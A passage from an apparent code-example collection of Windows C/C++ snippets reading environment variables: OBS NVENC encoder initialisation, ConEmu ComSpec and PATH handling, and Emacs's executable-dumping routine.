        encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HQ_GUID;
        is2PassRC = true;
    }
    else if (presetString == TEXT("Low Latency"))
    {
        encoderPreset = NV_ENC_PRESET_LOW_LATENCY_DEFAULT_GUID;
    }
    else if (presetString == TEXT("High Performance Low Latency"))
    {
        encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HP_GUID;
    }
    else if (presetString == TEXT("High Quality Low Latency"))
    {
        encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HQ_GUID;
    }
    else if (presetString == TEXT("Lossless"))
    {
        encoderPreset = NV_ENC_PRESET_LOSSLESS_DEFAULT_GUID;
        dontTouchConfig = true;
    }
    else if (presetString == TEXT("High Performance Lossless"))
    {
        encoderPreset = NV_ENC_PRESET_LOSSLESS_HP_GUID;
        dontTouchConfig = true;
    }
    else if (presetString == TEXT("NVDefault"))
    {
        encoderPreset = NV_ENC_PRESET_DEFAULT_GUID;
    }
    else if (presetString == TEXT("Streaming"))
    {
        encoderPreset = NV_ENC_PRESET_STREAMING;
        clientKey = NV_ENC_KEY_STREAMING;
    }
    else if (presetString == TEXT("Streaming (2pass)"))
    {
        encoderPreset = NV_ENC_PRESET_STREAMING;
        is2PassRC = true;
        clientKey = NV_ENC_KEY_STREAMING;
    }
    else
    {
        if (height > 1080 || (height == 1080 && fps > 30))
        {
            encoderPreset = NV_ENC_PRESET_HQ_GUID;
        }
        if (height > 720 || (height == 720 && fps > 30))
        {
            encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HQ_GUID;
        }
        else
        {
            encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HQ_GUID;
            is2PassRC = true;
        }
    }

    TCHAR envClientKey[128] = {0};
    DWORD envRes = GetEnvironmentVariable(TEXT("NVENC_KEY"), envClientKey, 128);
    if (envRes > 0 && envRes <= 128)
    {
        if (stringToGuid(envClientKey, &clientKey))
        {
            NvLog(TEXT("Got NVENC key from environment"));
        }
        else
        {
            NvLog(TEXT("NVENC_KEY environment variable has invalid format"));
        }
    }

    mset(&initEncodeParams, 0, sizeof(NV_ENC_INITIALIZE_PARAMS));
    mset(&encodeConfig, 0, sizeof(NV_ENC_CONFIG));

    encodeConfig.version = NV_ENC_CONFIG_VER;
    presetConfig.version = NV_ENC_PRESET_CONFIG_VER;
    presetConfig.presetCfg.version = NV_ENC_CONFIG_VER;
    initEncodeParams.version = NV_ENC_INITIALIZE_PARAMS_VER;

    stEncodeSessionParams.version = NV_ENC_OPEN_ENCODE_SESSION_EX_PARAMS_VER;
    stEncodeSessionParams.apiVersion = NVENCAPI_VERSION;
    stEncodeSessionParams.clientKeyPtr = &clientKey;

    cuContext = 0;
    checkCudaErrors(cuCtxCreate(&cuContext, 0, pNvencDevices[iNvencUseDeviceID]));
    checkCudaErrors(cuCtxPopCurrent(&cuContextCurr));

    stEncodeSessionParams.device = (void*)cuContext;
    stEncodeSessionParams.deviceType = NV_ENC_DEVICE_TYPE_CUDA;

    nvStatus = pNvEnc->nvEncOpenEncodeSessionEx(&stEncodeSessionParams, &encoder);
    if (nvStatus != NV_ENC_SUCCESS)
    {
        encoder = 0;

        OBSMessageBox(NULL,
                      Str("Encoder.NVENC.OldDriver"),
                      NULL,
                      MB_OK | MB_ICONERROR);

        NvLog(TEXT("nvEncOpenEncodeSessionEx failed with 0x%x - outdated driver?"), nvStatus);
        goto error;
    }

    if (!populateEncodePresetGUIDs())
        goto error;

    if (!checkPresetSupport(encoderPreset))
    {
        NvLog(TEXT("Preset is not supported!"));
        goto error;
    }

    nvStatus = pNvEnc->nvEncGetEncodePresetConfig(encoder, NV_ENC_CODEC_H264_GUID, encoderPreset, &presetConfig);
    if (nvStatus != NV_ENC_SUCCESS)
    {
        NvLog(TEXT("nvEncGetEncodePresetConfig failed with 0x%x"), nvStatus);
        goto error;
    }

    initEncodeParams.encodeGUID = NV_ENC_CODEC_H264_GUID;
    initEncodeParams.encodeHeight = height;
    initEncodeParams.encodeWidth = width;
    initEncodeParams.darHeight = height;
    initEncodeParams.darWidth = width;
    initEncodeParams.frameRateNum = fps;
    initEncodeParams.frameRateDen = 1;

    initEncodeParams.enableEncodeAsync = 0;
    initEncodeParams.enablePTD = 1;

    initEncodeParams.presetGUID = encoderPreset;

    initEncodeParams.encodeConfig = &encodeConfig;
    memcpy(&encodeConfig, &presetConfig.presetCfg, sizeof(NV_ENC_CONFIG));

    encodeConfig.version = NV_ENC_CONFIG_VER;

    if (!dontTouchConfig)
    {
        if (keyint != 0)
            encodeConfig.gopLength = keyint * fps;

        if (maxBitRate != -1)
        {
            encodeConfig.rcParams.averageBitRate = maxBitRate * 1000;
            encodeConfig.rcParams.maxBitRate = maxBitRate * 1000;
        }

        if (bufferSize != -1)
        {
            encodeConfig.rcParams.vbvBufferSize = bufferSize * 1000;
            encodeConfig.rcParams.vbvInitialDelay = bufferSize * 1000;
        }

        if (bUseCBR)
        {
            auto filler = AppConfig->GetInt(TEXT("Video Encoding"), TEXT("PadCBR"), 1) != 0;
            if (is2PassRC)
            {
                encodeConfig.rcParams.rateControlMode = filler ? NV_ENC_PARAMS_RC_2_PASS_FRAMESIZE_CAP : NV_ENC_PARAMS_RC_2_PASS_VBR;
            }
            else
            {
                encodeConfig.rcParams.rateControlMode = filler ? NV_ENC_PARAMS_RC_CBR : NV_ENC_PARAMS_RC_VBR;
            }

            encodeConfig.frameIntervalP = 1;

            encodeConfig.encodeCodecConfig.h264Config.adaptiveTransformMode = NV_ENC_H264_ADAPTIVE_TRANSFORM_ENABLE;
            encodeConfig.encodeCodecConfig.h264Config.fmoMode = NV_ENC_H264_FMO_DISABLE;
        }
        else
        {
            encodeConfig.rcParams.rateControlMode = NV_ENC_PARAMS_RC_VBR_MINQP;
            encodeConfig.rcParams.enableMinQP = 1;
            encodeConfig.rcParams.minQP.qpInterB = 32 - quality;
            encodeConfig.rcParams.minQP.qpInterP = 32 - quality;
            encodeConfig.rcParams.minQP.qpIntra = 32 - quality;

            encodeConfig.frameIntervalP = 3;
        }

        encodeConfig.encodeCodecConfig.h264Config.outputBufferingPeriodSEI = 1;
        encodeConfig.encodeCodecConfig.h264Config.outputPictureTimingSEI = 1;
        encodeConfig.encodeCodecConfig.h264Config.disableSPSPPS = 1;

        encodeConfig.encodeCodecConfig.h264Config.enableVFR = bUseCFR ? 0 : 1;

        encodeConfig.frameFieldMode = NV_ENC_PARAMS_FRAME_FIELD_MODE_FRAME;

        if(profileString.CompareI(TEXT("main")))
            encodeConfig.profileGUID = NV_ENC_H264_PROFILE_MAIN_GUID;
        else if(profileString.CompareI(TEXT("high")))
            encodeConfig.profileGUID = NV_ENC_H264_PROFILE_HIGH_GUID;

        encodeConfig.encodeCodecConfig.h264Config.disableSPSPPS = 1;
        encodeConfig.encodeCodecConfig.h264Config.bdirectMode = encodeConfig.frameIntervalP > 1 ? NV_ENC_H264_BDIRECT_MODE_TEMPORAL : NV_ENC_H264_BDIRECT_MODE_DISABLE;
        encodeConfig.encodeCodecConfig.h264Config.idrPeriod = encodeConfig.gopLength;

        encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.videoSignalTypePresentFlag = 1;
        encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.colourDescriptionPresentFlag = 1;
        encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.colourMatrix = colorDesc.matrix;
        encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.videoFullRangeFlag = colorDesc.fullRange;
        encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.videoFormat = 5;
        encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.colourPrimaries = colorDesc.primaries;
        encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.transferCharacteristics = colorDesc.transfer;
    }

    nvStatus = pNvEnc->nvEncInitializeEncoder(encoder, &initEncodeParams);

    if (nvStatus != NV_ENC_SUCCESS)
    {
        NvLog(TEXT("nvEncInitializeEncoder failed with 0x%x"), nvStatus);
        goto error;
    }

    for (surfaceCount = 0; surfaceCount < maxSurfaceCount; ++surfaceCount)
    {
        NV_ENC_CREATE_INPUT_BUFFER allocSurf = { 0 };
        allocSurf.version = NV_ENC_CREATE_INPUT_BUFFER_VER;

        allocSurf.width = (width + 31) & ~31;
        allocSurf.height = (height + 31) & ~31;

        allocSurf.memoryHeap = NV_ENC_MEMORY_HEAP_SYSMEM_CACHED;
        allocSurf.bufferFmt = NV_ENC_BUFFER_FORMAT_NV12_PL;

        nvStatus = pNvEnc->nvEncCreateInputBuffer(encoder, &allocSurf);

        if (nvStatus != NV_ENC_SUCCESS)
        {
            NvLog(TEXT("nvEncCreateInputBuffer #%d failed with 0x%x"), surfaceCount, nvStatus);
            goto error;
        }

        inputSurfaces[surfaceCount].width = allocSurf.width;
        inputSurfaces[surfaceCount].height = allocSurf.height;
        inputSurfaces[surfaceCount].locked = false;
        inputSurfaces[surfaceCount].useCount = 0;
        inputSurfaces[surfaceCount].inputSurface = allocSurf.inputBuffer;


        NV_ENC_CREATE_BITSTREAM_BUFFER allocOut = { 0 };
        allocOut.version = NV_ENC_CREATE_BITSTREAM_BUFFER_VER;
        allocOut.size = outBufferSize;
        allocOut.memoryHeap = NV_ENC_MEMORY_HEAP_SYSMEM_CACHED;

        nvStatus = pNvEnc->nvEncCreateBitstreamBuffer(encoder, &allocOut);

        if (nvStatus != NV_ENC_SUCCESS)
        {
            NvLog(TEXT("Failed allocating bitstream #%d buffer with 0x%x"), surfaceCount, nvStatus);

            outputSurfaces[surfaceCount].outputSurface = 0;
            surfaceCount += 1;

            goto error;
        }

        outputSurfaces[surfaceCount].outputSurface = allocOut.bitstreamBuffer;
        outputSurfaces[surfaceCount].size = allocOut.size;
        outputSurfaces[surfaceCount].busy = false;
    }

    NvLog(TEXT("------------------------------------------"));
    NvLog(TEXT("%s"), GetInfoString().Array());
    NvLog(TEXT("------------------------------------------"));

    alive = true;

    return;

error:
    alive = false;

    for (int i = 0; i < surfaceCount; ++i)
    {
        pNvEnc->nvEncDestroyInputBuffer(encoder, inputSurfaces[i].inputSurface);
        if (outputSurfaces[i].outputSurface != 0)
            pNvEnc->nvEncDestroyBitstreamBuffer(encoder, outputSurfaces[i].outputSurface);
    }
    surfaceCount = 0;

    if (encoder)
        pNvEnc->nvEncDestroyEncoder(encoder);
    encoder = 0;

    if (cuContext)
        cuCtxDestroy(cuContext);
}
示例#28
0
LPCWSTR GetComspecFromEnvVar(wchar_t* pszComspec, DWORD cchMax, ComSpecBits Bits/* = csb_SameOS*/)
{
	if (!pszComspec || (cchMax < MAX_PATH))
	{
		_ASSERTE(pszComspec && (cchMax >= MAX_PATH));
		return NULL;
	}

	*pszComspec = 0;
	BOOL bWin64 = IsWindows64();

	if (!((Bits == csb_x32) || (Bits == csb_x64)))
	{
		if (GetEnvironmentVariable(L"ComSpec", pszComspec, cchMax))
		{
			// Не должен быть (даже случайно) ConEmuC.exe
			const wchar_t* pszName = PointToName(pszComspec);
			if (!pszName || !lstrcmpi(pszName, L"ConEmuC.exe") || !lstrcmpi(pszName, L"ConEmuC64.exe")
				|| !FileExists(pszComspec)) // ну и существовать должен
			{
				pszComspec[0] = 0;
			}
		}
	}

	// Если не удалось определить через переменную окружения - пробуем обычный "cmd.exe" из System32
	if (pszComspec[0] == 0)
	{
		int n = GetWindowsDirectory(pszComspec, cchMax - 20);
		if (n > 0 && (((DWORD)n) < (cchMax - 20)))
		{
			// Добавить \System32\cmd.exe

			// Warning! 'c:\Windows\SysNative\cmd.exe' не прокатит, т.к. доступен
			// только для 32битных приложений. А нам нужно в общем виде.
			// Если из 32битного нужно запустить 64битный cmd.exe - нужно выключать редиректор.

			if (!bWin64 || (Bits != csb_x32))
			{
				_wcscat_c(pszComspec, cchMax, (pszComspec[n-1] == L'\\') ? L"System32\\cmd.exe" : L"\\System32\\cmd.exe");
			}
			else
			{
				_wcscat_c(pszComspec, cchMax, (pszComspec[n-1] == L'\\') ? L"SysWOW64\\cmd.exe" : L"\\SysWOW64\\cmd.exe");
			}
		}
	}

	if (pszComspec[0] && !FileExists(pszComspec))
	{
		_ASSERTE("Comspec not found! File not exists!");
		pszComspec[0] = 0;
	}

	// Last chance
	if (pszComspec[0] == 0)
	{
		_ASSERTE(pszComspec[0] != 0); // Уже должен был быть определен
		//lstrcpyn(pszComspec, L"cmd.exe", cchMax);
		wchar_t *psFilePart;
		DWORD n = SearchPathW(NULL, L"cmd.exe", NULL, cchMax, pszComspec, &psFilePart);
		if (!n || (n >= cchMax))
			_wcscpy_c(pszComspec, cchMax, L"cmd.exe");
	}

	return pszComspec;
}
示例#29
-1
void
copy_executable_and_dump_data (file_data *p_infile,
                               file_data *p_outfile)
{
    unsigned char *dst, *dst_save;
    PIMAGE_DOS_HEADER dos_header;
    PIMAGE_NT_HEADERS nt_header;
    PIMAGE_NT_HEADERS dst_nt_header;
    PIMAGE_SECTION_HEADER section;
    PIMAGE_SECTION_HEADER dst_section;
    DWORD_PTR offset;
    int i;
    int be_verbose = GetEnvironmentVariable ("DEBUG_DUMP", NULL, 0) > 0;

#define COPY_CHUNK(message, src, size, verbose)					\
  do {										\
    unsigned char *s = (void *)(src);						\
    unsigned long count = (size);						\
    if (verbose)								\
      {										\
	printf ("%s\n", (message));						\
	printf ("\t0x%08x Offset in input file.\n", s - p_infile->file_base); 	\
	printf ("\t0x%08x Offset in output file.\n", dst - p_outfile->file_base); \
	printf ("\t0x%08x Size in bytes.\n", count);				\
      }										\
    memcpy (dst, s, count);							\
    dst += count;								\
  } while (0)

#define COPY_PROC_CHUNK(message, src, size, verbose)				\
  do {										\
    unsigned char *s = (void *)(src);						\
    unsigned long count = (size);						\
    if (verbose)								\
      {										\
	printf ("%s\n", (message));						\
	printf ("\t0x%p Address in process.\n", s);				\
	printf ("\t0x%p Base       output file.\n", p_outfile->file_base); \
	printf ("\t0x%p Offset  in output file.\n", dst - p_outfile->file_base); \
	printf ("\t0x%p Address in output file.\n", dst); \
	printf ("\t0x%p Size in bytes.\n", count);				\
      }										\
    memcpy (dst, s, count);							\
    dst += count;								\
  } while (0)

#define DST_TO_OFFSET()  PTR_TO_OFFSET (dst, p_outfile)
#define ROUND_UP_DST(align) \
  (dst = p_outfile->file_base + ROUND_UP (DST_TO_OFFSET (), (align)))
#define ROUND_UP_DST_AND_ZERO(align)						\
  do {										\
    unsigned char *newdst = p_outfile->file_base				\
      + ROUND_UP (DST_TO_OFFSET (), (align));					\
    /* Zero the alignment slop; it may actually initialize real data.  */	\
    memset (dst, 0, newdst - dst);						\
    dst = newdst;								\
  } while (0)

    /* Copy the source image sequentially, ie. section by section after
       copying the headers and section table, to simplify the process of
       dumping the raw data for the bss and heap sections.

       Note that dst is updated implicitly by each COPY_CHUNK.  */

    dos_header = (PIMAGE_DOS_HEADER) p_infile->file_base;
    nt_header = (PIMAGE_NT_HEADERS) (((DWORD_PTR) dos_header) +
                                     dos_header->e_lfanew);
    section = IMAGE_FIRST_SECTION (nt_header);

    dst = (unsigned char *) p_outfile->file_base;

    COPY_CHUNK ("Copying DOS header...", dos_header,
                (DWORD_PTR) nt_header - (DWORD_PTR) dos_header, be_verbose);
    dst_nt_header = (PIMAGE_NT_HEADERS) dst;
    COPY_CHUNK ("Copying NT header...", nt_header,
                (DWORD_PTR) section - (DWORD_PTR) nt_header, be_verbose);
    dst_section = (PIMAGE_SECTION_HEADER) dst;
    COPY_CHUNK ("Copying section table...", section,
                nt_header->FileHeader.NumberOfSections * sizeof (*section),
                be_verbose);

    /* Align the first section's raw data area, and set the header size
       field accordingly.  */
    ROUND_UP_DST_AND_ZERO (dst_nt_header->OptionalHeader.FileAlignment);
    dst_nt_header->OptionalHeader.SizeOfHeaders = DST_TO_OFFSET ();

    for (i = 0; i < nt_header->FileHeader.NumberOfSections; i++)
    {
        char msg[100];
        /* Windows section names are fixed 8-char strings, only
        zero-terminated if the name is shorter than 8 characters.  */
        sprintf (msg, "Copying raw data for %.8s...", section->Name);

        dst_save = dst;

        /* Update the file-relative offset for this section's raw data (if
           it has any) in case things have been relocated; we will update
           the other offsets below once we know where everything is.  */
        if (dst_section->PointerToRawData)
            dst_section->PointerToRawData = DST_TO_OFFSET ();

        /* Can always copy the original raw data.  */
        COPY_CHUNK
        (msg, OFFSET_TO_PTR (section->PointerToRawData, p_infile),
         section->SizeOfRawData, be_verbose);
        /* Ensure alignment slop is zeroed.  */
        ROUND_UP_DST_AND_ZERO (dst_nt_header->OptionalHeader.FileAlignment);

        /* Note that various sections below may be aliases.  */
        if (section == data_section)
        {
            dst = dst_save
                  + RVA_TO_SECTION_OFFSET (PTR_TO_RVA (data_start), dst_section);
            COPY_PROC_CHUNK ("Dumping initialized data...",
                             data_start, data_size, be_verbose);
            dst = dst_save + dst_section->SizeOfRawData;
        }
        if (section == bss_section)
        {
            /* Dump contents of bss variables, adjusting the section's raw
                   data size as necessary.  */
            dst = dst_save
                  + RVA_TO_SECTION_OFFSET (PTR_TO_RVA (bss_start), dst_section);
            COPY_PROC_CHUNK ("Dumping bss data...", bss_start,
                             bss_size, be_verbose);
            ROUND_UP_DST (dst_nt_header->OptionalHeader.FileAlignment);
            dst_section->PointerToRawData = PTR_TO_OFFSET (dst_save, p_outfile);
            /* Determine new size of raw data area.  */
            dst = max (dst, dst_save + dst_section->SizeOfRawData);
            dst_section->SizeOfRawData = dst - dst_save;
            dst_section->Characteristics &= ~IMAGE_SCN_CNT_UNINITIALIZED_DATA;
            dst_section->Characteristics |= IMAGE_SCN_CNT_INITIALIZED_DATA;
        }
        if (section == bss_section_static)
        {
            /* Dump contents of static bss variables, adjusting the
                   section's raw data size as necessary.  */
            dst = dst_save
                  + RVA_TO_SECTION_OFFSET (PTR_TO_RVA (bss_start_static), dst_section);
            COPY_PROC_CHUNK ("Dumping static bss data...", bss_start_static,
                             bss_size_static, be_verbose);
            ROUND_UP_DST (dst_nt_header->OptionalHeader.FileAlignment);
            dst_section->PointerToRawData = PTR_TO_OFFSET (dst_save, p_outfile);
            /* Determine new size of raw data area.  */
            dst = max (dst, dst_save + dst_section->SizeOfRawData);
            dst_section->SizeOfRawData = dst - dst_save;
            dst_section->Characteristics &= ~IMAGE_SCN_CNT_UNINITIALIZED_DATA;
            dst_section->Characteristics |= IMAGE_SCN_CNT_INITIALIZED_DATA;
        }

        /* Align the section's raw data area.  */
        ROUND_UP_DST (dst_nt_header->OptionalHeader.FileAlignment);

        section++;
        dst_section++;
    }

    /* Copy remainder of source image.  */
    do
        section--;
    while (section->PointerToRawData == 0);
    offset = ROUND_UP (section->PointerToRawData + section->SizeOfRawData,
                       nt_header->OptionalHeader.FileAlignment);
    COPY_CHUNK
    ("Copying remainder of executable...",
     OFFSET_TO_PTR (offset, p_infile),
     p_infile->size - offset, be_verbose);

    /* Final size for new image.  */
    p_outfile->size = DST_TO_OFFSET ();

    /* Now patch up remaining file-relative offsets.  */
    section = IMAGE_FIRST_SECTION (nt_header);
    dst_section = IMAGE_FIRST_SECTION (dst_nt_header);

#define ADJUST_OFFSET(var)						\
  do {									\
    if ((var) != 0)							\
      (var) = relocate_offset ((var), nt_header, dst_nt_header);	\
  } while (0)

    dst_nt_header->OptionalHeader.SizeOfInitializedData = 0;
    dst_nt_header->OptionalHeader.SizeOfUninitializedData = 0;
    for (i = 0; i < dst_nt_header->FileHeader.NumberOfSections; i++)
    {
        /* Recompute data sizes for completeness.  */
        if (dst_section[i].Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA)
            dst_nt_header->OptionalHeader.SizeOfInitializedData +=
                ROUND_UP (dst_section[i].Misc.VirtualSize, dst_nt_header->OptionalHeader.FileAlignment);
        else if (dst_section[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)
            dst_nt_header->OptionalHeader.SizeOfUninitializedData +=
                ROUND_UP (dst_section[i].Misc.VirtualSize, dst_nt_header->OptionalHeader.FileAlignment);

        ADJUST_OFFSET (dst_section[i].PointerToLinenumbers);
    }

    ADJUST_OFFSET (dst_nt_header->FileHeader.PointerToSymbolTable);

    /* Update offsets in debug directory entries. */
    {
        IMAGE_DATA_DIRECTORY debug_dir =
            dst_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
        PIMAGE_DEBUG_DIRECTORY debug_entry;

        section = rva_to_section (debug_dir.VirtualAddress, dst_nt_header);
        if (section)
        {
            debug_entry = (PIMAGE_DEBUG_DIRECTORY)
                          (RVA_TO_OFFSET (debug_dir.VirtualAddress, section) + p_outfile->file_base);
            debug_dir.Size /= sizeof (IMAGE_DEBUG_DIRECTORY);

            for (i = 0; i < debug_dir.Size; i++, debug_entry++)
                ADJUST_OFFSET (debug_entry->PointerToRawData);
        }
    }
}
示例#30
-1
void UpdateComspec(ConEmuComspec* pOpt, bool DontModifyPath /*= false*/)
{
	if (!pOpt)
	{
		_ASSERTE(pOpt!=NULL);
		return;
	}

	if (pOpt->isUpdateEnv && (pOpt->csType != cst_EnvVar))
	{
		//if (pOpt->csType == cst_AutoTccCmd) -- always, if isUpdateEnv
		{
			LPCWSTR pszNew = NULL;
			switch (pOpt->csBits)
			{
			case csb_SameOS:
				pszNew = IsWindows64() ? pOpt->Comspec64 : pOpt->Comspec32;
				break;
			case csb_SameApp:
				pszNew = WIN3264TEST(pOpt->Comspec32,pOpt->Comspec64);
				break;
			case csb_x32:
				pszNew = pOpt->Comspec32;
				break;
			default:
				_ASSERTE(pOpt->csBits==csb_SameOS || pOpt->csBits==csb_SameApp || pOpt->csBits==csb_x32);
				pszNew = NULL;
			}
			if (pszNew && *pszNew)
			{
				#ifdef SHOW_COMSPEC_CHANGE
				wchar_t szCurrent[MAX_PATH]; GetEnvironmentVariable(L"ComSpec", szCurrent, countof(szCurrent));
				if (lstrcmpi(szCurrent, pszNew))
				{
					wchar_t szMsg[MAX_PATH*4], szProc[MAX_PATH] = {}, szPid[MAX_PATH];
					GetModuleFileName(NULL, szProc, countof(szProc));
					_wsprintf(szPid, SKIPLEN(countof(szPid))
						L"PID=%u, '%s'", GetCurrentProcessId(), PointToName(szProc));
					_wsprintf(szMsg, SKIPLEN(countof(szMsg))
						L"Changing %%ComSpec%% in %s\nCur=%s\nNew=%s",
						szPid , szCurrent, pszNew);
					MessageBox(NULL, szMsg, szPid, MB_SYSTEMMODAL);
				}
				#endif

				_ASSERTE(wcschr(pszNew, L'%')==NULL);
				SetEnvVarExpanded(L"ComSpec", pszNew);
			}
		}
	}

	if (pOpt->AddConEmu2Path && !DontModifyPath)
	{
		if ((pOpt->ConEmuBaseDir[0] == 0) || (pOpt->ConEmuExeDir[0] == 0))
		{
			_ASSERTE(pOpt->ConEmuBaseDir[0] != 0);
			_ASSERTE(pOpt->ConEmuExeDir[0] != 0);
		}
		else
		{
			wchar_t* pszCur = GetEnvVar(L"PATH");

			if (!pszCur)
				pszCur = lstrdup(L"");

			DWORD n = lstrlen(pszCur);
			wchar_t* pszUpr = lstrdup(pszCur);
			wchar_t* pszDirUpr = (wchar_t*)malloc(MAX_PATH*sizeof(*pszCur));

			MCHKHEAP;

			if (!pszUpr || !pszDirUpr)
			{
				_ASSERTE(pszUpr && pszDirUpr);
			}
			else
			{
				bool bChanged = false;
				wchar_t* pszAdd = NULL;

				CharUpperBuff(pszUpr, n);

				for (int i = 0; i <= 1; i++)
				{
					// Put '%ConEmuExeDir' on first place
					switch (i)
					{
					case 1:
						if (!(pOpt->AddConEmu2Path & CEAP_AddConEmuExeDir))
							continue;
						pszAdd = pOpt->ConEmuExeDir;
						break;
					case 0:
						if (!(pOpt->AddConEmu2Path & CEAP_AddConEmuBaseDir))
							continue;
						if (lstrcmp(pOpt->ConEmuExeDir, pOpt->ConEmuBaseDir) == 0)
							continue; // второй раз ту же директорию не добавляем
						pszAdd = pOpt->ConEmuBaseDir;
						break;
					}

					int nDirLen = lstrlen(pszAdd);
					lstrcpyn(pszDirUpr, pszAdd, MAX_PATH);
					CharUpperBuff(pszDirUpr, nDirLen);

					MCHKHEAP;

					// Need to find exact match!
					bool bFound = false;

					LPCWSTR pszFind = wcsstr(pszUpr, pszDirUpr);
					while (pszFind)
					{
						if (pszFind[nDirLen] == L';' || pszFind[nDirLen] == 0)
						{
							// OK, found
							bFound = true;
							break;
						}
						// Next try (may be partial match of subdirs...)
						pszFind = wcsstr(pszFind+nDirLen, pszDirUpr);
					}

					if (!bFound)
					{
						wchar_t* pszNew = lstrmerge(pszAdd, L";", pszCur);
						if (!pszNew)
						{
							_ASSERTE(pszNew && "Failed to reallocate PATH variable");
							break;
						}
						MCHKHEAP;
						SafeFree(pszCur);
						pszCur = pszNew;
						bChanged = true; // Set flag, check next dir
					}
				}

				MCHKHEAP;

				if (bChanged)
				{
					SetEnvironmentVariable(L"PATH", pszCur);
				}
			}

			MCHKHEAP;

			SafeFree(pszUpr);
			SafeFree(pszDirUpr);

			MCHKHEAP;
			SafeFree(pszCur);
		}
	}
}